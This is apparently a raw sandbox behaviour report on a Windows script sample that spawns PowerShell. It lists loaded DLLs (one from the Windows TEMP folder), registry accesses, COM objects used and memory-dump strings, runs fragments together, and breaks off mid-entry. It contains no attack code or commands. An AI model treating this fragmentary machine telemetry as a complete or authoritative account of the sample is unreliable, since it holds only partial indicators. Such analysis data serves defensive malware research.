missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135]38:Tebd,"o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007016.00000000.171303.2CDD0000.00000004.mdmp "gistry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00007016.00000000.171303.470B0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00007016.00000000.171303.470B0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007016.00000000.171303.470B0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007016.00000000.171303.470B0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007016.00000000.171303.470B0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00007016.00000000.171303.49BCA000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007016.00000001.172521.2CDD0000.00000004.mdmp "icrosoft.PowerShell.Commands.Managementgistry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00007016.00000001.172521.470B0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00007016.00000001.172521.470B0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007016.00000001.172521.470B0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007016.00000001.172521.470B0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007016.00000001.172521.470B0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007016.00000001.172521.47800000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00007016.00000001.172521.47800000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00007016.00000001.172521.47800000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007016.00000001.172521.478A9000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00007016.00000001.172521.F8038000.00000002.mdmp "HKLM\" in Source: 00000000-00007016.00000001.172521.F8038000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00007016.00000001.172521.F8038000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007016.00000001.172521.F8038000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00007016.00000001.172521.F8038000.00000002.mdmp39:T2b8c,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe2ac00000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe2ac00000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe2ac00000 "WScript.exe" loaded module "KERNEL32" at base 7ffe2c280000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffdff150000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe29070000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ffe2c4b0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ffe2c280000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 7ffdff080000 "WScript.exe" loaded module "AMSI.DLL" at base 7ffe0bdc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe22ca0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffe09fe0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MTOJPXV6.DLL" at base 7ffe07180000 "WScript.exe" loaded module "WLDP.DLL" at base 7ffe29a90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffe2c330000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffe2b140000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe29e70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffe0b550000 "WScript.exe" loaded module "OLE32.DLL" at base 7ffe2c600000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffe2af70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffe09ad0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ffe066d0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffdfefa0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffe2c280000 "WScript.exe" loaded module "USERENV.DLL" at base 7ffe2a960000 "WScript.exe" loaded module "VERSION.DLL" at base 7ffe22ca0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7ffe21900000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 7ffe0b780000 "WScript.exe" loaded module "%COMMONPROGRAMFILES%\SYSTEM\ADO\MSADO15.DLL" at base 7ffe06bf0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 7ffe219b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ffe0b750000 "WScript.exe" loaded module "SHELL32.DLL" at base 7ffe2cf90000 "WScript.exe" loaded module "NTDLL.DLL" at base 7ffe2e6e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffe26e30000 "WScript.exe" loaded module "USER32.DLL" at base 7ffe2ce00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffe15840000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ffe2cf90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffe209a0000 "WScript.exe" loaded module "MSISO.DLL" at base 7ffe18670000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7ffe2a930000 "WScript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffe2ac00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffe2b1a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe2ac00000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe2ac00000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe2ac00000 "powershell.exe" loaded module "KERNEL32" at base 7ffe2c280000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe0b8e0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffe2c280000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffe2c330000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffe0b830000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffe2c450000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffe2aac0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffe22ca0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffdfe6f0000 "powershell.exe" loaded module "USER32.DLL" at base 7ffe2ce00000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffe2ac00000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffe0b950000 "powershell.exe" loaded module "NTDLL" at base 7ffe2e6e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffe2caf0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffe2c4b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffdfd0f0000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffe2c600000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffe2caf0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffe2c890000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffdfc480000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffdfba00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffe09330000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe29e70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffe2ab80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffdf9990000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffe2caf0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffe2caf0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffe2e6e0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffe2c000000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffe2cf90000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffe2b140000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffe21900000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffe2b140000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffe2af70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe22ca0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffe19950000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffe2af70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MTOJPXV6.DLL" at base 7ffe0b720000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffe06c90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffe06b20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffdf9020000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffdf8cb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffe069b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffdf8400000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffe06950000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffe2ac00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffdf82b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe068e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffdf81d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffdf8090000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffe07180000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffe21dd0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffe2a930000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe29070000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffe29a90000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffdf7fb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffe2c280000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffe2a960000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffe2c330000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffe2caf0000 "powershell.exe" loaded module "URLMON.DLL" at base 7ffe209a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffe2ac00000 "powershell.exe" loaded module "MSISO.DLL" at base 7ffe18670000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffdf72a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffe19920000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffe2a590000 "powershell.exe" loaded module "ADVAPI32" at base 7ffe2c330000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffdf7060000 "powershell.exe" loaded module "OLEAUT32" at base 7ffe2c890000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.V9921E851#\FB4BA4DB52CA77687F807BB068871EC2\MICROSOFT.VISUALBASIC.NI.DLL" at base 7ffdf6e300003a:T727,"WScript.exe" touched "JScript Language" (Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\TREATAS") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "WScript.exe" touched "XML DOM Document" (Path: "HKCU\CLSID\{2933BF90-7B36-11D2-B20E-00C04F983E60}\TREATAS") "WScript.exe" touched "ADODB.Stream" (Path: "HKCU\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}\TREATAS") "WScript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "WScript.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "WScript.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "WScript.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "WScript.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "WScript.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS")3b:Tf40,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006868-00000C2B-1662542589] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00006868-00000C2B-1662944624] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00006868-00000C2B-1664024509] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00007016-00000C2E-1020509494] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00007016-00000C2B-1677040583] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00007016-00000C2B-1677178058] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007016-00000C2B-1677262784] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00007016-00000C2B-1677385180] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00007016-00000C2B-1677432995] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007016-00000C2B-1677479887] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007016-00000C2B-1677529262] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00007016-00000C2B-1677594886] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00007016-00000C2B-1677714233] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007016-00000C2B-1677789678] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007016-00000C2B-1677983916] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007016-00000C2B-1678082902] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00007016-00000C2B-1678492632] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007016-00000C2B-1678552432] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007016-00000C2B-1678903378] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007016-00000C2B-1678928349] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00007016-00000C2B-1679001639] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007016-00000C2B-1679006225] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00007016-00000C2B-1679081689] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00007016-00000C2B-1679130091] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00007016-00000C2B-1679409879]3c:Ta6f,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION\CUSTOMATTRIBUTES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\DIAGNOSIS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\DEBUGINFORMATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY\CUSTOMATTRIBUTES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "")3d:Te2f,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATIONTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "SERVER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "DLLPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "THREADING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "TRUSTLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "REMOTESERVER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: 